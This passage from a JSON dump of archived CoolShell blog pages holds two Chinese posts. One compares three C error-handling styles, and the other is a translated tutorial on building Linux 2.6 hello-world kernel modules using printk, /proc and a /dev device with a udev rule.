    "content": "<html><body><p>下面是三种C语言的错误处理，你喜欢哪一种？还是都不喜欢？</p>\n<pre class=\"EnlighterJSRAW\">\n/* 问题: 不充分，而且很容易出错，前面成功分配的资源，后面出错需要帮助释放 */\nint foo(int bar)\n{\n        int return_value = 0;\n        int doing_okay = 1;\n        doing_okay = do_something( bar );\n        if (doing_okay)\n        {\n                doing_okay = init_stuff();\n        }\n        if (doing_okay)\n        {\n                doing_okay = prepare_stuff();\n        }\n        if (doing_okay)\n        {\n                return_value = do_the_thing( bar );\n        }\n        return return_value;\n}\n</pre>\n<p><span id=\"more-551\"></span> </p>\n<pre class=\"EnlighterJSRAW\">\n/* 问题： 使用goto语句是很不好的 */\nint foo(int bar)\n{\n        if (!do_something( bar )) {\n                goto error;\n        }\n        if (!init_stuff( bar )) {\n                goto error;\n        }\n        if (!prepare_stuff( bar )) {\n                goto error;\n        }\n        return do_the_thing( bar );\nerror:\n        return 0;\n}\n</pre>\n<pre class=\"EnlighterJSRAW\"> \n/* 问题：太多的if嵌套了，无法阅读 */\nint foo(int bar)\n{\n        int return_value = 0;\n        if (do_something( bar )) {\n                if (init_stuff( bar )) {\n                        if (prepare_stuff( bar )) {\n                                return_value = do_the_thing( bar );\n                         }\n                }\n        }\n        return return_value;\n}\n</pre>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20845.html\"><img alt=\"Rust语言的编程范式\" height=\"150\" src=\"../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20845.html\">Rust语言的编程范式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18024.html\"><img alt=\"API设计原则 – Qt官网的设计实践总结\" height=\"150\" src=\"../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18024.html\">API设计原则 – Qt官网的设计实践总结</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12052.html\"><img alt=\"Leetcode 编程训练\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12052.html\">Leetcode 编程训练</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12012.html\"><img alt=\"State Threads 回调终结者\" height=\"150\" src=\"../wp-content/uploads/2014/10/edsm-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12012.html\">State Threads 回调终结者</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11466.html\"><img alt=\"C语言的整型溢出问题\" height=\"150\" src=\"../wp-content/uploads/2014/04/c99-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11466.html\">C语言的整型溢出问题</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/551.html\">C语言下的错误处理的问题</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-4-17 Linux设备驱动Hello World程序介绍.html",
    "content": "<html><body><p>by Valerie Henson<br/>\n07/05/2007</p>\n<p>(<strong>译者注：本文的例子是只能在linux的2.6内核下使用的，2.6以上的内核，译者没有做过实验，2.4是要修改make文件才能运行</strong>。)</p>\n<p>本文的出处：<a href=\"http://www.linuxdevcenter.com/pub/a/linux/2007/07/05/devhelloworld-a-simple-introduction-to-device-drivers-under-linux.html?page=1\">这里</a></p>\n<p>自古以来，学习一门新编程语言的第一步就是写一个打印“hello world”的程序（可以看<a href=\"https://coolshell.cn/articles/169.html\">《hello world 集中营》</a>这个帖子供罗列了300个“hello world”程序例子）在本文中，我们将用同样的方式学习如何编写一个简单的linux内核模块和设备驱动程序。我将学习到如何在内核模式下以三种不同的方式来打印hello world，这三种方式分别是： printk()，/proc文件，/dev下的设备文件。</p>\n<h4>准备：安装内核模块的编译环境</h4>\n<p>一个内核模块kernel module是一段能被内核动态加载和卸载的内核代码，因为内核模块程序是内核的一个部分，并且和内核紧密的交互，所以内核模块不可能脱离内核编译环境，至少，它需要内核的头文件和用于加载的配置信息。编译内核模块同样需要相关的开发工具，比如说编译器。为了简化，本文只简要讨论如何在Debian、Fedora和其他以.tar.gz形式提供的原版linux内核下进行核模块的编译。在这种情况下，你必须根据你正在运行内核相对应的内核源代码来编译你的内核模块kernel module(当你的内核模块一旦被装载到你内核中时，内核就将执行该模块的代码)</p>\n<p><span id=\"more-566\"></span></p>\n<p>必须要注意内核源代码的位置，权限：内核程序通常在/usr/src/linux目录下，并且属主是root。如今，推荐的方式是将内核程序放在一个非root用户的home目录下。本文中所有命令都运行在非root的用户下，只有在必要的时候，才使用sudo来获得临时的root权限。配置和使用sudo可以man sudo(8) visudo(8) 和sudoers(5)。或者切换到root用户下执行相关的命令。不管什么方式，你都需要root权限才能执行本文中的一些命令。</p>\n<p>在Debian下编译内核模块的准备</p>\n<p>使用如下的命令安装和配置用于在Debian编译内核模块的module-assitant包</p>\n<pre class=\"EnlighterJSRAW\">\n$ sudo apt-get install module-assistant\n</pre>\n<p>以此你就可以开始编译内核模块，你可以在<a href=\"http://kernel-handbook.alioth.debian.org/\">《Debian Linux Kernel Handbook》</a>这本书中找到对Debian内核相关任务的更深度的讨论。</p>\n<p>Fedora的kernel-devel包包含了你编译Fedora内核模块的所有必要内核头文件和工具。你可以通过如下命令得到这个包。</p>\n<p><code class=\"EnlighterJSRAW\">$ sudo yum install kernel-devel</code></p>\n<p>有了这个包，你就可以编译你的内核模块kernel modules。关于Fedora编译内核模块的相关文档你可以从<a href=\"http://docs.fedoraproject.org/release-notes/fc6/en_US/sn-Kernel.html#id2950723\">Fedora release notes</a>中找到。</p>\n<p>一般Linux 内核源代码和配置</p>\n<p>(译者注，下面的编译很复杂，如果你的Linux不是上面的系统，你可以使用REHL AS4系统，这个系统的内核就是2.6的内核，并且可以通过安装直接安装内核编译支持环境，从而就省下了如下的步骤。而且下面的步骤比较复杂，建议在虚拟机安装Linux进行实验。)</p>\n<p>如果你选择使用一般的Linux内核源代吗，你必须，配置，编译，安装和重启的你编译内核。这个过程非常复杂，并且本文只会讨论使用一般内核源代码的基本概念。</p>\n<p>linux的著名的内核源代码在http://kernel.org上都可以找到。最近新发布的稳定版本的代码在首页上。下载全版本的源代码，不要下载补丁代码。例如，当前发布稳定版本在url: http://kernel.org/pub/linux/kernel/v2.6/linux-2.6.21.5.tar.bz2上。如果需要更快速的下载，从htpp://kernel.org/mirrors上找到最近的镜像进行下载。最简单获得源代码的方式是以断点续传的方式使用wget。如今的http很少发生中断，但是如果你在下载过程中发生了中断，这个命令将帮助你继续下载剩下的部分。</p>\n<p><code class=\"EnlighterJSRAW\">$ wget -c  http://kernel.org/pub/linux/kernel/v2.6/linux-2.6.21.5.tar.bz2 </code></p>\n<p>解包内核源代码</p>\n<p><code class=\"EnlighterJSRAW\">$ tar xjvf linux-&lt;version&gt;.tar.bz2</code></p>\n<p>现在你的内核源代码位于linux-/目录下。转到这个目录下，并配置它：</p>\n<pre class=\"EnlighterJSRAW\">\n$ cd linux-&lt;version&gt;\n$ make menuconfig</pre>\n<p>一些非常易用的编译目标make targets提供了多种编译安装内核的形式：Debian 包，RPM包，gzip后的tar文件 等等，使用如下命令查看所有可以编译的目标形式</p>\n<p><code class=\"EnlighterJSRAW\">$ make help</code></p>\n<p>一个可以工作在任何linux的目标是：(译者注：REHL AS4上没有tar-pkg这个目标，你可以任选一个rpm编译，编译完后再上层目录可以看到有一个linux-.tar.gz可以使用)</p>\n<p><code class=\"EnlighterJSRAW\">$ make tar-pkg</code></p>\n<p>当编译完成后，可以调用如下命令安装你的内核</p>\n<p><code class=\"EnlighterJSRAW\">$ sudo tar -C / -xvf linux-&lt;version&gt;.tar</code></p>\n<p>在标准位置建立的到内核源代码的链接</p>\n<p><code class=\"EnlighterJSRAW\">$ sudo ln -s &lt;location of top-level source directory&gt; /lib/modules/'uname -r'/build</code></p>\n<p>现在已经内核源代码已经可以用于编译内核模块了，重启你的机器以使得你根据新内核程序编译的内核可以被装载。</p>\n<h4>使用printk()函数打印”Hello World”</h4>\n<p>我们的第一个内核模块，我们将以一个在内核中使用函数printk()打印”Hello world”的内核模块为开始。printk是内核中的printf函数。printk的输出打印在内核的消息缓存kernel message buffer并拷贝到/var/log/messages(关于拷贝的变化依赖于如何配置syslogd)</p>\n<p>下载<a href=\"http://www.linuxdevcenter.com/linux/2007/07/05/examples/hello_printk.tar.gz\">hello_printk</a> 模块的tar包 并解包：</p>\n<p><code class=\"EnlighterJSRAW\">$ tar xzvf hello_printk.tar.gz</code></p>\n<p>这个包中包含两个文件:Makefile，里面包含如何创建内核模块的指令和一个包含内核模块源代码的hello_printk.c文件。首先，我们将简要的过一下这个Makefile 文件。</p>\n<p><code class=\"EnlighterJSRAW\">obj-m := hello_printk.o</code></p>\n<p>obj-m指出将要编译成的内核模块列表。.o格式文件会自动地有相应的.c文件生成(不需要显示的罗列所有源代码文件)</p>\n<pre class=\"EnlighterJSRAW\">\nKDIR  := /lib/modules/$(shell uname -r)/build\n</pre>\n<p>KDIR表示是内核源代码的位置。在当前标准情况是链接到包含着正在使用内核对应源代码的目录树位置。</p>\n<pre class=\"EnlighterJSRAW\">\nPWD := $(shell pwd)\n</pre>\n<p>PWD指示了当前工作目录并且是我们自己内核模块的源代码位置</p>\n<pre class=\"EnlighterJSRAW\">\ndefault:\n     $(MAKE) -C $(KDIR) M=$(PWD) modules\n</pre>\n<p>default是默认的编译连接目标；即，make将默认执行本条规则编译目标，除非程序员显示的指明编译其他目标。这里的的编译规则的意思是，在包含内核源代码位置的地方进行make,然后之编译$(PWD)(当前)目录下的modules。这里允许我们使用所有定义在内核源代码树下的所有规则来编译我们的内核模块。</p>\n<p>现在我们来看看hello_printk.c这个文件</p>\n<pre class=\"EnlighterJSRAW\">\n#include\n\t&lt;linux/init.h&gt;\n#include\n\t&lt;linux/module.h&gt;\n</pre>\n<p>这里包含了内核提供的所有内核模块都需要的头文件。这个文件中包含了类似module_init()宏的定义，这个宏稍后我们将用到</p>\n<pre class=\"EnlighterJSRAW\">\nstatic int __init\nhello_init(void){\n    printk(\"Hello, world!n\");\n    return 0;\n}\n</pre>\n<p>这是内核模块的初始化函数，这个函数在内核模块初始化被装载的时候调用。__init关键字告诉内核这个代码只会被运行一次，而且是在内核装载的时候。printk()函数这一行将打印一个”Hello, world”到内核消息缓存。printk参数的形式在大多数情况和printf(3)一模一样。</p>\n<pre class=\"EnlighterJSRAW\">\nmodule_init(hello_init); \nmodule_init()\n</pre>\n<p>宏告诉内核当内核模块第一次运行时哪一个函数将被运行。任何在内核模块中其他部分都会受到内核模块初始化函数的影响。</p>\n<pre class=\"EnlighterJSRAW\">\nstatic void __exit\nhello_exit(void){\n    printk(\"Goodbye, world!n\");\n}\nmodule_exit(hello_exit);\n</pre>\n<p>同样地，退出函数也只在内核模块被卸载的时候会运行一次，module_exit()宏标示了退出函数。__exit关键字告诉内核这段代码只在内核模块被卸载的时候运行一次。</p>\n<pre class=\"EnlighterJSRAW\">\nMODULE_LICENSE(\"GPL\");\nMODULE_AUTHOR(\"Valerie Henson val@nmt.edu\");\nMODULE_DESCRIPTION(\"Hello, world!\" minimal module\");\nMODULE_VERSION(\"printk\");\nMODULE_LICENSE()\n</pre>\n<p>宏告诉内核，内核模块代码在什么样的license之下，这将影响主那些符号(函数和变量，等等)可以访问主内核。GPLv2 下的模块(如同本例子中)能访问所有的符号。某些内核模块license将会损害内核开源的特性，这些license指示内核将装载一些非公开或不受信的代码。如果内核模块不使用MODULE_LICENSE()宏，就被假定为非GPLv2的，这会损害内核的开源特性，并且大部分Linux内核开发人员都会忽略来自受损内核的bug报告，因为他们无法访问所有的源代码，这使得调试变得更加困难。剩下的MODULE_*()这些宏以标准格式提供有用的标示该内核模块的信息(译者注：这里意思是，你必须使用GPLv2的license，否则你的驱动程序很有可能得不到Linux社区的开发者的支持 ：）)</p>\n<p>现在，开始编译和运行代码。转到相应的目录下，编译内核模块</p>\n<pre class=\"EnlighterJSRAW\">\n$ cd hello_printk  \n$ make\n</pre>\n<p>接着，装载内核模块，使用insmod指令，并且通过dmesg来检查打印出的信息，dmesg是打印内核消息缓存的程序。</p>\n<pre class=\"EnlighterJSRAW\">\n$ sudo insmod ./hello_printk.ko  \n$ dmesg | tail\n</pre>\n<p>你将从dmesg的屏幕输出中看见”Hello world!”信息。现在卸载使用rmmod卸载内核模块，并检查退出信息。</p>\n<pre class=\"EnlighterJSRAW\">\n$ sudo rmmod hello_printk  \n$ dmesg | tail\n</pre>\n<p>到此，你就成功地完成了对内核模块的编译和安装！</p>\n<h4>使用/proc的Hello, World!</h4>\n<p>一种用户程序和内核通讯最简单和流行的方式是通过使用/proc下文件系统进行通讯。/proc是一个伪文件系统，从这里的文件读取的数据是由内核返回的数据，并且写入到这里面的数据将会被内核读取和处理。在使用/proc方式之前，所用用户和内核之间的通讯都不得不使用系统调用来完成。使用系统调用意味着你将在要在查找已经具有你需要的行为方式的系统调用(一般不会出现这种情况)，或者创建一种新的系统调用来满足你的需求(这样就要求对内核全局做修改，并增加系统调用的数量，这是通常是非常不好的做法)，或者使用ioctl这个万能系统调用，这就要求要创建一个新文件类型供ioctl操作(这也是非常复杂而且bug比较多的方式，同样是非常繁琐的)。/proc提供了一个简单的，无需定义的方式在用户空间和内核之间传递数据，这种方式不仅可以满足内核使用，同样也提供足够的自由度给内核模块做他们需要做的事情。</p>\n<p>为了满足我们的要求，我们需要当我们读在/proc下的某一个文件时将会返回一个“Hello world!”。我们将使用/proc/hello_world这个文件。下载并解开<a href=\"http://www.linuxdevcenter.com/linux/2007/07/05/examples/hello_proc.tar.gz\">hello proc</a>这个gzip的tar包后，我们将首先来看一下<a href=\"http://www.linuxdevcenter.com/linux/2007/07/05/examples/hello_proc.c\">hello_proc.c</a>这个文件</p>\n<pre class=\"EnlighterJSRAW\">\n#include &lt;linux/init.h&gt;\n#include &lt;linux/module.h&gt;\n#include &lt;linux/proc_fs.h&gt;\n</pre>\n<p>这次，我们将增加一个proc_fs头文件，这个头文件包括驱动注册到/proc文件系统的支持。当另外一个进程调用read()时，下一个函数将会被调用。这个函数的实现比一个完整的普通内核驱动的read系统调用实现要简单的多，因为我们仅做了让”Hello world”这个字符串缓存被一次读完。</p>\n<pre class=\"EnlighterJSRAW\">\nstatic int\nhello_read_proc(char *buffer, char **start,off_t offset,\n                int size, int *eof, void *data)\n{\n</pre>\n<p>这个函数的参数值得明确的解释一下。buffer是指向内核缓存的指针，我们将把read输出的内容写到这个buffer中。start参数多用更复杂的/proc文件；我们在这里将忽略这个参数；并且我只明确的允许offset这个的值为0。size是指buffer中包含多字节数；我们必须检查这个参数已避免出现内存越界的情况，eof参数一个EOF的简写，用于返回文件是否已经读到结束，而不需要通过调用read返回0来判断文件是否结束。这里我们不讨论依靠更复杂的/proc文件传输数据的方法。这个函数方法体罗列如下：</p>\n<pre class=\"EnlighterJSRAW\">\n    char *hello_str = \"Hello, world!\\n\";\n    int len = strlen(hello_str); /* Don't include the null byte. */\n    /*     * We only support reading the whole string at once.     */\n    if (size &lt; len)\n        return&lt; -EINVAL;\n    /*     * If file position is non-zero, then assume the string has\n    * been read and indicate there is no more data to be read.\n    */\n    if (offset != 0)\n        return 0;\n    /*     * We know the buffer is big enough to hold the string.     */\n    strcpy(buffer, hello_str);\n    /*     * Signal EOF.     */\n    *eof = 1;\n    return len;\n}\n</pre>\n<p>下面，我们需将内核模块在初始化函数注册在/proc 子系统中。</p>\n<pre class=\"EnlighterJSRAW\">\nstatic int __init\nhello_init(void){\n    /*\n    * Create an entry in /proc named \"hello_world\" that calls\n    * hello_read_proc() when the file is read.\n    */\n    if (create_proc_read_entry(\"hello_world\", 0, \n                        NULL, hello_read_proc, NULL) == 0) {\n        printk(KERN_ERR\n        \"Unable to register \"Hello, world!\" proc filen\");\n        return -ENOMEM;\n    }\n    return 0;\n}\nmodule_init(hello_init);\n</pre>\n<p>当内核模块卸载时，需要在/proc移出注册的信息(如果我们不这样做的，当一个进程试图去访问/proc/hello_world，/proc文件系统将会试着执行一个已经不存在的功能，这样将会导致内核崩溃)</p>\n<pre class=\"EnlighterJSRAW\">\nstatic void __exit\nhello_exit(void){\n    remove_proc_entry(\"hello_world\", NULL);\n}\nmodule_exit(hello_exit);\nMODULE_LICENSE(\"GPL\");\nMODULE_AUTHOR(\"Valerie Henson val@nmt.edu\");\nMODULE_DESCRIPTION(\"\"Hello, world!\" minimal module\");\nMODULE_VERSION(\"proc\");\n</pre>\n<p>下面我们将准备编译和装载模组</p>\n<pre class=\"EnlighterJSRAW\">\n$ cd hello_proc  \n$ make  \n$ sudo insmod ./hello_proc.ko\n</pre>\n<p>现在，将会有一个称为/proc/hello_world的文件，并且读这个文件的，将会返回一个”Hello world”字符串。</p>\n<pre class=\"EnlighterJSRAW\">\n$ cat /proc/hello_world\nHello, world!\n</pre>\n<p>你可以为为同一个驱动程序创建多个/proc文件，并增加相应写/proc文件的函数，创建包含多个/proc文件的目录，或者更多的其他操作。如果要写比这个更复杂的驱动程序，可以使用seq_file函数集来编写是更安全和容易的。关于这些更多的信息可以看<a href=\"http://lwn.net/Articles/22355/\">《Driver porting: The seq_file interface》</a></p>\n<h4>Hello, World! 使用 /dev/hello_world</h4>\n<p>现在我们将使用在/dev目录下的一个设备文件/dev/hello_world实现”Hello,world!” 。追述以前的日子，设备文件是通过MAKEDEV脚本调用mknod命令在/dev目录下产生的一个特定的文件，这个文件和设备是否运行在改机器上无关。到后来设备文件使用了devfs，devfs在设备第一被访问的时候创建/dev文件，这样将会导致很多有趣的加锁问题和多次打开设备文件的检查设备是否存在的重试问题。当前的/dev版本支持被称为udev，因为他将在用户程序空间创建到/dev的符号连接。当内核模块注册设备时，他们将出现在sysfs文件系统中，并mount在/sys下。一个用户空间的程序，udev,注意到/sys下的改变将会根据在/etc/udev/下的一些规则在/dev下创建相关的文件项。</p>\n<p>下载<a href=\"http://www.linuxdevcenter.com/linux/2007/07/05/examples/hello_dev.tar.gz\">hello world</a>内核模块的gzip的tar包，我们将开始先看一下hello_dev.c这个源文件。</p>\n<pre class=\"EnlighterJSRAW\">\n#include &lt;linux/fs.h&gt;\n#include &lt;linux/init.h&gt;\n#include &lt;linux/miscdevice.h&gt;\n#include &lt;linux/module.h&gt;\n#include &lt;asm/uaccess.h&gt;\n</pre>\n<p>正如我们看到的必须的头文件外，创建一个新设备还需要更多的内核头文件支持。fs.sh包含所有文件操作的结构，这些结构将由设备驱动程序来填值，并关联到我们相关的/dev文件。miscdevice.h头文件包含了对通用miscellaneous设备文件注册的支持。 asm/uaccess.h包含了测试我们是否违背访问权限读写用户内存空间的函数。hello_read将在其他进程在/dev/hello调用read()函数被调用的是一个函数。他将输出”Hello world!”到由read()传入的缓存。</p>\n<pre class=\"EnlighterJSRAW\">\nstatic ssize_t hello_read(struct file * file, char * buf, size_t count, loff_t *ppos)\n{\n    char *hello_str = \"Hello, world!n\";\n    int len = strlen(hello_str); /* Don't include the null byte. */\n    /*     * We only support reading the whole string at once.     */\n    if (count &lt; len)\n        return -EINVAL;\n    /*\n    * If file position is non-zero, then assume the string has\n    * been read and indicate there is no more data to be read.\n    */\n    if (*ppos != 0)\n        return 0;\n    /*\n    * Besides copying the string to the user provided buffer,\n    * this function also checks that the user has permission to\n    * write to the buffer, that it is mapped, etc.\n    */\n    if (copy_to_user(buf, hello_str, len))\n        return -EINVAL;\n    /*\n    * Tell the user how much data we wrote.\n    */\n    *ppos = len;\n    return len;\n}\n</pre>\n<p>下一步，我们创建一个文件操作结构file operations struct，并用这个结构来定义当文件被访问时执行什么动作。在我们的例子中我们唯一关注的文件操作就是read。</p>\n<pre class=\"EnlighterJSRAW\">\nstatic const struct file_operations hello_fops = {\n    .owner        = THIS_MODULE,\n    .read        = hello_read,\n};\n</pre>\n<p>现在，我们将创建一个结构，这个结构包含有用于在内核注册一个通用miscellaneous驱动程序的信息。</p>\n<pre class=\"EnlighterJSRAW\">\nstatic struct miscdevice hello_dev = {\n    /*\n    * We don't care what minor number we end up with, so tell the\n    * kernel to just pick one.\n    */\n    MISC_DYNAMIC_MINOR,\n    /*     \n    * Name ourselves /dev/hello.     \n    */\n    \"hello\",\n    /*     \n    * What functions to call when a program performs file\n    * operations on the device.\n    */\n    &amp;hello_fops\n};\n</pre>\n<p>在通常情况下，我们在init中注册设备</p>\n<pre class=\"EnlighterJSRAW\">\nstatic int __init\nhello_init(void){\n    int ret;\n    /*\n    * Create the \"hello\" device in the /sys/class/misc directory.\n    * Udev will automatically create the /dev/hello device using\n    * the default rules.\n    */\n    ret = misc_register(&amp;hello_dev);\n    if (ret)\n        printk(KERN_ERR\n            \"Unable to register \"Hello, world!\" misc devicen\");\n    return ret;\n}\nmodule_init(hello_init);\n</pre>\n<p>接下是在卸载时的退出函数</p>\n<pre class=\"EnlighterJSRAW\">\nstatic void __exit\nhello_exit(void){\n    misc_deregister(&amp;hello_dev);\n}\nmodule_exit(hello_exit);\nMODULE_LICENSE(\"GPL\");\nMODULE_AUTHOR(\"Valerie Henson val@nmt.edu&gt;\");\nMODULE_DESCRIPTION(\"\"Hello, world!\" minimal module\");\nMODULE_VERSION(\"dev\");\n</pre>\n<p>编译并加载模块:</p>\n<pre class=\"EnlighterJSRAW\">\n$ cd hello_dev  \n$ make  \n$ sudo insmod ./hello_dev.ko\n</pre>\n<p>现在我们将有一个称为/dev/hello的设备文件，并且这个设备文件被root访问时将会产生一个”Hello, world!”</p>\n<pre class=\"EnlighterJSRAW\">\n$ sudo cat /dev/hello\n Hello, world!\n </pre>\n<p>但是我们不能使用普通用户访问他:</p>\n<pre class=\"EnlighterJSRAW\">\n$ cat /dev/hello \ncat:/dev/hello: Permission denied  \n\n$ ls -l \n/dev/hello crw-rw---- 1 root root 10, 61 2007-06-20 14:31 /dev/hello\n\n</pre>\n<p>这是有默认的udev规则导致的，这个条规将标明当一个普通设备出现时，他的名字将会是/dev/，并且默认的访问权限是0660(用户和组读写访问，其他用户无法访问)。我们在真实情况中可能会希望创建一个被普通用户访问的设备驱动程序，并且给这个设备起一个相应的连接名。为达到这个目的，我们将编写一条udev规则。</p>\n<p>udev规则必须做两件事情：第一创建一个符号连接，第二修改设备的访问权限。</p>\n<p>下面这条规则可以达到这个目的：</p>\n<p><code class=\"EnlighterJSRAW\">KERNEL==\"hello\", SYMLINK+=\"hello_world\", MODE=\"0444\"</code></p>\n<p>我们将详细的分解这条规则，并解释每一个部分。KERNEL==”hello” 标示下面的的规则将作用于/sys中设备名字”hello”的设备(==是比较符)。hello 设备是我们通过调用misc_register()并传递了一个包含设备名为”hello”的文件操作结构file_operations为参数而达到的。你可以自己通过如下的命令在/sys下查看</p>\n<pre class=\"EnlighterJSRAW\">\n$ ls -d /sys/class/misc/hello//sys/class/misc/hello/\n</pre>\n<p>SYMLINK+=”hello_world” 的意思是在符号链接列表中增加 (+= 符号的意思着追加)一个hello_world ，这个符号连接在设备出现时创建。在我们场景下，我们知道我们的列表的中的只有这个符号连接，但是其他设备驱动程序可能会存在多个不同的符号连接，因此使用将设备追加入到符号列表中，而不是覆盖列表将会是更好的实践中的做法。</p>\n<p>MODE=”0444″的意思是原始的设备的访问权限是0444,这个权限允许用户，组，和其他用户可以访问。</p>\n<p>通常，使用正确的操作符号(==, +=, or =)是非常重要的，否则将会出现不可预知的情况。</p>\n<p>现在我们理解这个规则是怎么工作的，让我们将其安装在/etc/udev目录下。udev规则文件以和System V初始脚本目录命名的同种方式的目录下，/etc/udeve/rules.d这个目录，并以字母/数字的顺序。和System V的初始化脚本一样，/etc/udev/rules.d下的目录通常符号连接到真正的文件，通过使用符号连接名，将使得规则文件已正确的次序得到执行。<br/>\n使用如下的命令，拷贝hello.rules文件从/hello_dev目录到/etc/udev目录下，并创建一一个最先被执行的规则文件链接在/etc/udev/rules.d目录下。</p>\n<pre class=\"EnlighterJSRAW\">\n$ sudo cp hello.rules /etc/udev/  \n$ sudo ln -s ../hello.rules /etc/udev/rules.d/010_hello.rules\n</pre>\n<p>现在我们重新装载驱动程序，并观察新的驱动程序项</p>\n<pre class=\"EnlighterJSRAW\">\n$ sudo rmmod hello_dev  \n$ sudo insmod ./hello_dev.ko  \n$ ls -l /dev/hello*  \ncr--r--r-- 1 root root 10, 61 2007-06-19 21:21 /dev/hello  \nlrwxrwxrwx 1 root root      5 2007-06-19 21:21 /dev/hello_world -&gt; hello\n</pre>\n<p>最后，检查你可以使用普通用户访问/dev/hello_world设备.</p>\n<pre class=\"EnlighterJSRAW\">\n$ cat /dev/hello_world\nHello, world!  \n\n$ cat /dev/hello\nHello, world!\n</pre>\n<p>更多编写udev规则的信息可以在Daniel Drake的文章<a href=\"http://www.reactivated.net/writing_udev_rules.html\">Writing udev rules</a>中找到。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22320.html\"><img alt=\"eBPF 介绍\" height=\"150\" src=\"../wp-content/uploads/2022/12/eBPF-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22320.html\">eBPF 介绍</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/19219.html\"><img alt=\"打造高效的工作环境 – Shell 篇\" height=\"150\" src=\"../wp-content/uploads/2019/03/linux.ninja_-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/19219.html\">打造高效的工作环境 – Shell 篇</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18654.html\"><img alt=\"记一次Kubernetes/Docker网络排障\" height=\"150\" src=\"../wp-content/uploads/2018/12/docker-networking-1-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18654.html\">记一次Kubernetes/Docker网络排障</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17998.html\"><img alt=\"Linux PID 1 和 Systemd\" height=\"150\" src=\"../wp-content/uploads/2017/07/systemd-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17998.html\">Linux PID 1 和 Systemd</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17416.html\"><img alt=\"缓存更新的套路\" height=\"150\" src=\"../wp-content/uploads/2016/07/cache-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17416.html\">缓存更新的套路</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/566.html\">Linux设备驱动Hello World程序介绍</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-4-17 VI的一些小技巧.html",
